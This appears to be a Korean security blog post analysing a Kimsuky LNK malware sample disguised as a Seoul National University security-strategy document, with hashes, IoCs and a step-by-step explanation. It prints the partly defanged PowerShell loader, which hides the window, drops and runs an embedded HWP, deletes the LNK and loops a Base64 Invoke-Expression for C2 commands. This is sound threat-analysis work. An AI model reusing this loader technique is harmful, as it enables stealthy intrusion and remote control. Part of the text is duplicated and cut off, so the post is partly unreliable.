김수키(Kimsuky) 서울대 국제문제연구소 사칭 악성코드-글로벌 복합 위기 한국의 안보전략.lnk(2025.9.28)
Contents
오늘도 존경하지 않고 한국 안보를 위협하는 존재인 북한 해킹 단체 김수키(Kimsuky)에서 만든 글로벌 복합 위기 한국의 안보전략이라는 악성코드에 대해 알아보겠습니다.
해당 악성코드는 서울대 국제문제연구소 주최로 열리는지 모르겠지만, 아무튼 해당 주최에서 만들어진 것이 만들어진 문서인지 모르겠지만 저는 있는 그대로 적어 보겠습니다.
해쉬
파일명:글로벌 복합 위기 한국의 안보전략.lnk
사이즈:56,397 Bytes
MD5:dea5ea1f43819570b82c95ff2cfef3b4
SHA-1:cb7fc4243f70956ea8c2ba961d4a4b3a14624a6c
SHA-256:26bf7746400d81c4fa11b29a2abac4cf46fc609e3bf3273f632cb496ff0c03aa
악성코드 포함된 Powershell 코드
StringData
{
namestring: not present
relativepath: not present
workingdir:
commandlinearguments: /c start /(m)in powershell -windowstyle hidden $lk=ls -Pat
h '.\' ^| Where {$_.length -eq (5)6397};if($lk -eq $null) {$lk=ls -Path $env:tem
p -depth 2 ^| Where {$_.length -eq 56397}};$n=$lk.name.Replace('.lnk',(').hwp');$lk=$lk.FullName;$file = [System.IO.File]::ReadAllBytes($lk);$file1=[byte[]]$file[5709..(5709(+)50688-1)];$fPath=$lk.Repl(a)ce('.lnk','.hwp');[System.IO.File]::WriteAllBytes($fPath,$file1);^&$fPath;ri $lk -force;do{$dns=[System.Text.Encoding]::UTF8.GetS(t)ring([System.Convert]::FromBase64String('???e9b9(2)9ad8d6c4969a87dfdb9b9a???=='));Invoke-expression $dns}while(1);
iconlocation: hxxps://raw(.)githubusercontent(.)com/correctpo/se/refs/heads/main/h(.)ico
}
악성코드 분석
1.PowerShell을 최소화 숨김 상태로 실행
현재 디렉터리에서 정확히 56,397바이트인 파일을 찾음
없을 때 %TEMP%에서 대체 검색
해당 파일의 원시 바이트를 메모리로 읽음
오프셋 5709부터 길이 50,688바이트만큼 잘라냄.
해당 잘라낸 바이트를. hwp로 저장하고 실행함
원본 파일을 삭제해 흔적을 지움.
Base64 문자열을 디코드해서 Invoke-Expression 으로 실행하는 코드를 무한 반복하며 추가 다운로드 및 명령 실행, C2 연결 등을 수행
쉽게 이야기하면 다음가 같음
1. 현재 폴더에서 크기 56397바이트인 파일을 찾음 (없으면 `%TEMP% 폴더에서 깊이 2까지 검색)
2. 해당 파일(대상은 .lnk) …
해당 악성코드는 서울대 국제문제연구소 주최로 열리는지 모르겠지만, 아무튼 해당 주최에서 만들어진 것이 만들어진 문서인지 모르겠지만 저는 있는 그대로 적어 보겠습니다.
해쉬
파일명:글로벌 복합 위기 한국의 안보전략.lnk
사이즈:56,397 Bytes
MD5:dea5ea1f43819570b82c95ff2cfef3b4
SHA-1:cb7fc4243f70956ea8c2ba961d4a4b3a14624a6c
SHA-256:26bf7746400d81c4fa11b29a2abac4cf46fc609e3bf3273f632cb496ff0c03aa
악성코드 포함된 Powershell 코드
StringData
{
namestring: not present
relativepath: not present
workingdir:
commandlinearguments: /c start /(m)in powershell -windowstyle hidden $lk=ls -Pat
h '.\' ^| Where {$_.length -eq (5)6397};if($lk -eq $null) {$lk=ls -Path $env:tem
p -depth 2 ^| Where {$_.length -eq 56397}};$n=$lk.name.Replace('.lnk',(').hwp');$lk=$lk.FullName;$file = [System.IO.File]::ReadAllBytes($lk);$file1=[byte[]]$file[5709..(5709(+)50688-1)];$fPath=$lk.Repl(a)ce('.lnk','.hwp');[System.IO.File]::WriteAllBytes($fPath,$file1);^&$fPath;ri $lk -force;do{$dns=[System.Text.Encoding]::UTF8.GetS(t)ring([System.Convert]::FromBase64String('???e9b9(2)9ad8d6c4969a87dfdb9b9a???=='));Invoke-expression $dns}while(1);
iconlocation: hxxps://raw(.)githubusercontent(.)com/correctpo/se/refs/heads/main/h(.)ico
}
악성코드 분석
1.PowerShell을 최소화 숨김 상태로 실행
현재 디렉터리에서 정확히 56,397바이트인 파일을 찾음
없을 때 %TEMP%에서 대체 검색
해당 파일의 원시 바이트를 메모리로 읽음
오프셋 5709부터 길이 50,688바이트만큼 잘라냄.
해당 잘라낸 바이트를. hwp로 저장하고 실행함
원본 파일을 삭제해 흔적을 지움.
Base64 문자열을 디코드해서 Invoke-Expression 으로 실행하는 코드를 무한 반복하며 추가 다운로드 및 명령 실행, C2 연결 등을 수행
쉽게 이야기하면 다음가 같음
1. 현재 폴더에서 크기 56397바이트인 파일을 찾음 (없으면 `%TEMP% 폴더에서 깊이 2까지 검색)
2. 해당 파일(대상은 .lnk) …
IoC
26bf7746400d81c4fa11b29a2abac4cf46fc609e3bf3273f632cb496ff0c03aa
cb7fc4243f70956ea8c2ba961d4a4b3a14624a6c
dea5ea1f43819570b82c95ff2cfef3b4
cb7fc4243f70956ea8c2ba961d4a4b3a14624a6c
dea5ea1f43819570b82c95ff2cfef3b4